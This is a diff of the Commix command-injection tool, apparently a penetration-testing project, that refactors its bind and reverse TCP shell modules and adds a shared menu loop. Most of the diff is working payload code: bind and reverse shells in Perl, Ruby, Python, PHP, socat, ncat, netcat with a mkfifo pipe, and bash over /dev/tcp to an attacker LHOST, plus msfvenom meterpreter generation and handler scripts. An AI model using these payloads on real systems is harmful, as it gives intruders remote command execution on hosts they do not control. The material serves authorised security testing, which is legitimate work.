the process, and qx() inherits it - so "cd" carries to the next command. + "while(<$c>){chomp;if(/^cd\\s+(.+)/){chdir($1);next;}print $c qx($_);}'" + ) + +""" +Ruby bind TCP shell. +""" +def gen_ruby_bind(): + return ( + "ruby -rsocket -e '" + "s=TCPServer.new(" + + settings.LPORT + + ");c=s.accept;" + "s.close;" + "$stdin.reopen(c);" + "$stdout.reopen(c);" + "$stderr.reopen(c);" + "$stdin.each_line{|l|l=l.strip;" + "next if l.length==0;" + "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}}) rescue nil }'" + ) + +""" +Python bind TCP shell. +""" +def gen_python_bind(): + return ( + settings.LINUX_PYTHON_INTERPRETER + + " -c 'import pty,os,socket%0d" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" + "s.bind((\"\"," + + settings.LPORT + + "))%0d" + "s.listen(1)%0d" + "(rem, addr) = s.accept()%0d" + "os.dup2(rem.fileno(),0)%0d" + "os.dup2(rem.fileno(),1)%0d" + "os.dup2(rem.fileno(),2)%0d" + "pty.spawn(\"/bin/sh\")%0d" + "s.close()'" + ) + +""" +Socat bind TCP shell. +""" +def gen_socat_bind(): + return "socat tcp-listen:" + settings.LPORT + " exec:\"sh\",pty,stderr,setsid,sigint,sane" + +""" +Ncat bind TCP shell. +""" +def gen_ncat_bind(): + # Without '-k', as every other bind payload here: kept listening, it leaves an unauthenticated + # shell open on the target after the session that asked for it has ended. + return "ncat -l " + settings.LPORT + " -e /bin/sh" + +""" +PHP meterpreter bind TCP shell (via msfvenom). +""" +def gen_php_meterpreter_bind(): + if checks.metasploit_missing(): + return None + + payload = "php/meterpreter/bind_tcp" + output = "php_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "RHOST", settings.RHOST, " -e php/base64", strip_newlines=True) + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() + other_shell = settings.WIN_PHP_DIR + " -r " + data else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() + other_shell = "php -r \"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except Exception: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None + +""" +Python meterpreter bind TCP shell (via msfvenom). +""" +def gen_python_meterpreter_bind(): + if checks.metasploit_missing(): + return None + + payload = "python/meterpreter/bind_tcp" + output = "py_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "RHOST", settings.RHOST, "", strip_newlines=False) + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if nc_version != '4': - # Netcat with -e - cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell - else: - # nc without -e - cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \ - nc_alternative + " -l -p " + settings.LPORT + \ - " 1>/tmp/f\"" - - return cmd - -""" -""" -def other_bind_shells(separator): - - while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - - # PHP-bind-shell - if other_shell == '1': - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - payload = "php/bind_php" - output = "php_bind_tcp.rc" - - info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() - - with open (output, "r+") as content_file: - data = content_file.readlines() - data = ''.join(data).replace("\n"," ") - - print(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set rhost "+ str(settings.RHOST) + "\n" - "set lport "+ str(settings.LPORT) + "\n" - "exploit\n\n") - - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -r " + data - else: - other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) - except: - print(settings.SINGLE_WHITESPACE) - - break - - # Perl-bind-shell - elif other_shell == '2': - other_shell = "perl -MIO -e '" \ - "$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \ - "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" - break - - # Ruby-bind-shell - elif other_shell == '3': - other_shell = "ruby -rsocket -e '" \ - "s=TCPServer.new(" + settings.LPORT + ");" \ - "c=s.accept;" \ - "s.close;" \ - "$stdin.reopen(c);" \ - "$stdout.reopen(c);" \ - "$stderr.reopen(c);" \ - "$stdin.each_line{|l|l=l.strip;" \ - "next if l.length==0;" \ - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" - break - - # Python-bind-shell - elif other_shell == '4': - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import pty,os,socket%0d" \ - "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ - "s.bind((\"\"," + settings.LPORT + "))%0d" \ - "s.listen(1)%0d" \ - "(rem, addr) = s.accept()%0d" \ - "os.dup2(rem.fileno(),0)%0d" \ - "os.dup2(rem.fileno(),1)%0d" \ - "os.dup2(rem.fileno(),2)%0d" \ - "pty.spawn(\"/bin/sh\")%0d" \ - "s.close()'" - break - - # Socat-bind-shell - elif other_shell == '5': - other_shell = "socat tcp-listen:" + settings.LPORT + \ - " exec:\"sh\"" - break - - # Ncat-bind-shell - elif other_shell == '6': - other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh" - break - - # PHP-bind-shell(meterpreter) - elif other_shell == '7': - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - payload = "php/meterpreter/bind_tcp" - output = "php_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() - - with open (output, "r+") as content_file: - data = content_file.readlines() - data = ''.join(data).replace("\n"," ") - - print(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set rhost "+ str(settings.RHOST) + "\n" - "set lport "+ str(settings.LPORT) + "\n" - "exploit\n\n") - - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -r " + data - else: - other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) - except: - print(settings.SINGLE_WHITESPACE) - break - - # Python-bind-shell(meterpreter) - elif other_shell == '8': - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) - continue - - payload = "python/meterpreter/bind_tcp" - output = "py_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + - " -o " + output + ">/dev/null 2>&1", shell=True).wait() - - with open (output, "r") as content_file: - data = content_file.readlines() - data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() - - print(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler\n" - "set payload " + payload + "\n" - "set rhost "+ str(settings.RHOST) + "\n" - "set lport "+ str(settings.LPORT) + "\n" - "exploit\n\n") - - if settings.TARGET_OS == "win": - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - else: - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) - except: - print(settings.SINGLE_WHITESPACE) - break - # Check for available shell options - elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) - # Invalid option - else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - return other_shell - -""" -Choose type of bind TCP connection. -""" -def bind_tcp_options(separator): - - while True: - bind_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - - if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + bind_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - continue - - # Option 1 - Netcat shell - elif bind_tcp_option == '1' : - bind_tcp_option = netcat_version(separator) - if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() - break - elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: - return bind_tcp_option - else: - pass - # Option 2 - Other (Netcat-Without-Netcat) shells - elif bind_tcp_option == '2' : - bind_tcp_option = other_bind_shells(separator) - if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() - break - # Check for available shell options - elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(bind_tcp_option): - return shell_options(bind_tcp_option) - # Invalid option - else: - err_msg = "The '" + bind_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - - return bind_tcp_option - -""" -Set up the bind TCP connection -""" -def configure_bind_tcp(separator): - - # Set up rhost for the bind TCP connection - while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - continue - elif option.lower() == "?": - menu.bind_tcp_options() - continue - elif option.lower() == "quit": - raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": - settings.BIND_TCP = False - break - elif option.lower() == "reverse_tcp": - settings.REVERSE_TCP = True - settings.BIND_TCP = False - break - elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0: - break - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "rhost ": - if check_rhost(option[10:]): - if len(settings.LPORT) == 0: - pass - else: - break - else: - continue - elif option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) - continue - elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): - if len(settings.RHOST) == 0: - pass - else: - break - else: - continue - else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - pass - else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - pass - -# eof \ No newline at end of file + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except Exception: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None + +# Module path (relative to "bind_tcp/") -> (description, generator). +BIND_TCP_MODULES = { + "netcat/traditional": ("Netcat-Traditional", lambda: _netcat_bind_shell("nc.traditional")), + "netcat/busybox": ("Netcat-Busybox", lambda: _netcat_bind_shell("busybox nc")), + "netcat/openbsd": ("Netcat-Openbsd (no '-e' support)", lambda: _netcat_bind_shell("nc", use_dash_e=False)), + "perl": ("Perl bind TCP shell", gen_perl_bind), + "ruby": ("Ruby bind TCP shell", gen_ruby_bind), + "python": ("Python bind TCP shell", gen_python_bind), + "socat": ("Socat bind TCP shell", gen_socat_bind), + "ncat": ("Ncat bind TCP shell", gen_ncat_bind), + "meterpreter/php": ("PHP Meterpreter bind TCP shell", gen_php_meterpreter_bind), + "meterpreter/python": ("Python Meterpreter bind TCP shell", gen_python_meterpreter_bind), +} + +""" +Set up and choose the bind TCP connection - the prompt itself is the shared mode loop. +""" +BIND_TCP_MODE = modes.ShellMode( + name="bind_tcp", + modules=BIND_TCP_MODULES, + help_menu=menu.bind_tcp_options, + option_rows=lambda: [ + ("RHOST", settings.RHOST, True, "The target host to connect to"), + ("LPORT", settings.LPORT, True, "The listening port"), + ("HANDLER", "on" if settings.HANDLER else "off", False, "Catch the shell locally (instead of an external listener) (nc/ncat)"), + ], + required=("RHOST", "LPORT"), + required_hint="Required options not set. Use 'set rhost <ip>' and 'set lport <port>'.", + set_options=( + ("rhost", checks.check_rhost), + ("lport", checks.check_lport), + ("handler", checks.check_handler), + ), + unsupported=("lhost", "rhost"), + build=lambda module_path, separator: BIND_TCP_MODULES[module_path][1](), + usage_hint="Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.", +) + +# The options this mode offers, printed when the user asks for them. +def bind_tcp_options(separator, filename, url): + return modes.shell_mode_options(BIND_TCP_MODE, separator, filename, url) + +# eof diff --git a/src/core/shells/modes.py b/src/core/shells/modes.py new file mode 100644 index 0000000000..287bdc68fe --- /dev/null +++ b/src/core/shells/modes.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import common +from src.utils import settings +from src.core.controller import checks + +""" +The shared "use -> set -> run" loop behind the 'reverse_tcp' and 'bind_tcp' modes. +""" + +MODE_NAMES = ("os_shell", "reverse_tcp", "bind_tcp") + +# Per mode: the settings flag holding it, and the other TCP mode. +MODE_FLAGS = { + "reverse_tcp": ("REVERSE_TCP", "bind_tcp"), + "bind_tcp": ("BIND_TCP", "reverse_tcp"), +} + +""" +Everything the shared loop needs that differs between the two modes. +""" +class ShellMode(object): + # One shell mode, and the payload modules it can carry. + def __init__(self, name, modules, help_menu, option_rows, required, required_hint, set_options, unsupported, build, usage_hint): + self.name = name + self.modules = modules + self.help_menu = help_menu + self.option_rows = option_rows + self.required = required + self.required_hint = required_hint + self.set_options = set_options + self.unsupported = unsupported + self.build = build + self.usage_hint = usage_hint + self.flag, self.other = MODE_FLAGS[name] + + # The module's full name, as the mode refers to it. + def qualified(self, module_path): + return self.name + "/" + module_path + + # Why a module cannot be used here, naming what this mode supports instead. + def unsupported_msg(self): + unsupported, supported = self.unsupported + return "The '" + unsupported.upper() + "' option is not usable for '" + self.name + "' mode. Use the '" + supported.upper() + "' option." + +""" +Announce the mode, listing the Compatible payloads until one is selected. +""" +def _announce(mode, selected_module): + if selected_module is None: + info_msg = "Selected mode: '" + mode.name + "'. Type 'set payload <payload>' to select one." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.print_module_table( + "Compatible payloads", + [(path, description) for path, (description, _) in mode.modules.items()] + ) + else: + info_msg = "Selected payload: '" + mode.qualified(selected_module) + "'. Configure options with 'set', then type 'run'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Select a payload by path, accepting both the bare and the mode-qualified form. +""" +def _select_payload(mode, module_path, option): + if module_path.startswith(mode.name + "/"): + module_path = module_path[len(mode.name) + 1:] + + if module_path in mode.modules: + info_msg = "Selected payload: '" + mode.qualified(module_path) + "'. Configure options with 'set', then type 'run'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return module_path + + matches = sorted(_ for _ in mode.modules if _.startswith(module_path)) + if matches: + info_msg = "Matching payloads:\n" + "\n".join(" set payload " + _ for _ in matches) + settings.print_data_to_stdout(info_msg) + else: + common.invalid_option(option) + return None + +""" +Handle a "set ..." command. +""" +def _handle_set(mode, option, selected_module): + argument = option[4:] + keyword, separator, value = argument.partition(settings.SINGLE_WHITESPACE) + keyword = keyword.lower() + + if keyword == "payload": + return _select_payload(mode, value.strip(), option) or selected_module + + if keyword == mode.unsupported[0] and separator: + settings.print_data_to_stdout(settings.print_error_msg(mode.unsupported_msg())) + return selected_module + + for name, check in mode.set_options: + if keyword == name and separator: + check(value) + return selected_module + + common.invalid_option(option) + mistyped = argument.strip() + if mistyped in mode.modules: + settings.print_data_to_stdout("Did you mean 'set payload " + mistyped + "'? (options stay set when you switch payloads)") + else: + settings.print_data_to_stdout(mode.usage_hint) + return selected_module + +""" +Handle a "use ..." command; returns the mode to switch to, or None to stay. +""" +def _handle_use(mode, option): + target = option[3:].strip().lower() + + if target == mode.name: + warn_msg = "You are in '" + target + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif target == "os_shell": + setattr(settings, mode.flag, False) + return "os_shell" + elif target == mode.other: + setattr(settings, MODE_FLAGS[mode.other][0], True) + setattr(settings, mode.flag, False) + return mode.other + else: + common.invalid_option(option) + settings.print_data_to_stdout("Use 'use os_shell' or 'use " + mode.other + "' to switch modes.") + return None + +""" +Generate the selected payload, once every required option is set. +""" +def _handle_run(mode, selected_module, separator): + if selected_module is None: + err_msg = "No payload selected. Use 'set payload <payload>' first." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return None + + if any(len(getattr(settings, attribute)) == 0 for attribute in mode.required): + settings.print_data_to_stdout(settings.print_error_msg(mode.required_hint)) + return None + + result = mode.build(selected_module, separator) + if result is None: + return None + + if settings.EVAL_BASED_STATE is not False: + result = checks.escape_unquoted_dollars(result) + + settings.LAST_SELECTED_MODULE = selected_module + checks.shell_success(mode.name.split("_")[0]) + return result + +""" +Run the mode's interactive prompt, returning either the generated payload or the mode to switch to. +""" +def shell_mode_options(mode, separator, filename, url): + selected_module = settings.LAST_SELECTED_MODULE if settings.LAST_SELECTED_MODULE in mode.modules else None + _announce(mode, selected_module) + + while True: + prompt_name = mode.name if selected_module is None else mode.qualified(selected_module) + try: + option = common.safe_input(settings.APPLICATION + "(" + prompt_name + ") > ") + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + lowered = option.lower() + + if lowered == "?": + mode.help_menu() + + elif lowered == "quit" or lowered == "exit": + checks.quit(filename, url, hard_exit=True) + + # "back" deselects the current payload first; a second "back" leaves the mode. + elif lowered == "back": + if selected_module is not None: + selected_module = None + settings.LAST_SELECTED_MODULE = "" + continue + setattr(settings, mode.flag, False) + return option + + elif lowered in MODE_NAMES: + err_msg = "Type 'use " + lowered + "' to switch to that mode." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + + elif lowered == "use" or lowered[0:4] == "use ": + switch_to = _handle_use(mode, option) + if switch_to: + return switch_to + + elif lowered in ("show options", "show"): + menu.print_options_table("Options (" + mode.name + ")", mode.option_rows()) + + elif lowered == "run": + result = _handle_run(mode, selected_module, separator) + if result is not None: + return result + + elif lowered == "set" or lowered[0:4] == "set ": + selected_module = _handle_set(mode, option, selected_module) + + else: + common.invalid_option(option) + +# eof diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 981d36c80b..c0cfb6d798 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,790 +3,376 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import base64 import random import string -import subprocess -from src.utils import menu -from src.utils import update +from src.core.parse import cmdline as menu from src.utils import settings from src.core.compat import xrange -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init - -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "lhost ": - check_lhost(option[10:]) - if option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - if option[4:12].lower() == "srvport ": - check_srvport(option[12:]) - if option[4:12].lower() == "uripath ": - check_uripath(option[12:]) - else: - return option - -# Payload generation message. -def gen_payload_msg(payload): - info_msg = "Generating the '" + payload + "' shellcode. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") - # Remove the ouput file. - os.remove(output) +from src.core.controller import checks +from src.core.shells import modes """ -Set up the PHP working directory on the target host. +Use %XX only where the target performs one URL-decode pass; use literals for header-based injection points. """ -def set_php_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for PHP (e.g. '" - question_msg += settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PHP_DIR = True - break - else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass +def _needs_literal_encoding(): + return ( + settings.COOKIE_INJECTION + or settings.USER_AGENT_INJECTION + or settings.REFERER_INJECTION + or settings.HOST_INJECTION + or settings.CUSTOM_HEADER_INJECTION + ) -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass +# The literal spelling where the carrier can hold it, and the encoded one where it cannot. +def _lit(encoded, literal): + return literal if _needs_literal_encoding() else encoded """ -Set up the Python interpreter on linux target host. +Netcat reverse TCP shell - one generator, parameterized by which netcat binary to target. """ -def set_python_interpreter(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) +def _netcat_reverse_shell(nc_alternative, use_dash_e=True): + shell = "sh" + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) + + # Netcat with -e - options go before the host/port, netcat-traditional ignores them after it. + if use_dash_e: + return ( + nc_alternative + + " -e " + + shell + + settings.SINGLE_WHITESPACE + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + ) + + tmp_fifo = checks.random_tmp_path() + + return ( + shell + + " -c \"rm -f " + tmp_fifo + ";mkfifo " + tmp_fifo + ";" + + shell + + " 0<" + tmp_fifo + " | " + + nc_alternative + + settings.SINGLE_WHITESPACE + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + # Taken away again when the pipeline ends, not only before it starts - cleared on the way in + # alone, the pipe is left on the target for good once the session closes. + + " 1>" + tmp_fifo + ";rm -f " + tmp_fifo + "\"" + ) + +""" +PHP reverse TCP shell. +""" +def gen_php_reverse(): + return ( + "php -r '$s=fsockopen(\"" + + settings.LHOST + + "\"," + + settings.LPORT + + ");" + "while(($c=fgets($s))!==false){$c=rtrim($c);if(strpos($c,\"cd \")===0){chdir(substr($c,3));continue;}fwrite($s,shell_exec($c));}'" + ) + +""" +Perl reverse TCP shell. +""" +def gen_perl_reverse(): + # Relays in Perl itself - exec()ing "sh -i" on a raw socket gives no working shell. + return ( + "perl -e 'use Socket;" + "$i=\"" + + settings.LHOST + + "\";" + "$p=" + + settings.LPORT + + ";" + "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" + "connect(S,sockaddr_in($p,inet_aton($i)));" + "select(S);$|=1;" + # chdir() persists for the process, and qx() inherits it - so "cd" carries to the next command. + "while(<S>){chomp;if(/^cd\\s+(.+)/){chdir($1);next;}print S qx($_);}'" + ) + +""" +Ruby reverse TCP shell. +""" +def gen_ruby_reverse(): + return ( + "ruby -rsocket -e '" + "c=TCPSocket.new(\"" + + settings.LHOST + + "\"," + + settings.LPORT + + ");" + "$stdin.reopen(c);" + "$stdout.reopen(c);" + "$stderr.reopen(c);" + "$stdin.each_line{|l|l=l.strip;" + "next if l.length==0;" + "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" + ) + +""" +Python reverse TCP shell. +""" +def gen_python_reverse(): + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + + return ( + settings.LINUX_PYTHON_INTERPRETER + + " -c 'import socket,os,pty%0d" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" + "s.connect((\"" + + settings.LHOST + + "\"," + + settings.LPORT + + "))%0d" + "os.dup2(s.fileno(),0)%0d" + "os.dup2(s.fileno(),1)%0d" + "os.dup2(s.fileno(),2)%0d" + "pty.spawn(\"/bin/sh\")%0d'" + ) + +""" +Socat reverse TCP shell. +""" +def gen_socat_reverse(): + return ( + "socat tcp-connect:" + + settings.LHOST + + ":" + + settings.LPORT + + " exec:\"sh\",pty,stderr,setsid,sigint,sane" + ) + +""" +Bash reverse TCP shell - writes the payload to a temp file, then executes it, +chained with the target's own confirmed separator (needs a real one - see the +plumbing in shell_options.py/handler.py that supplies it instead of ""). +""" +def gen_bash_reverse(separator): + tmp_file = ''.join( + [ + random.choice(string.ascii_letters + string.digits) + for n in xrange(5) + ] + ) + + return ( + "echo \"/bin/sh 0>/dev/tcp/" + + settings.LHOST + + "/" + + settings.LPORT + + " 1>" + _lit("%26", "&") + "0 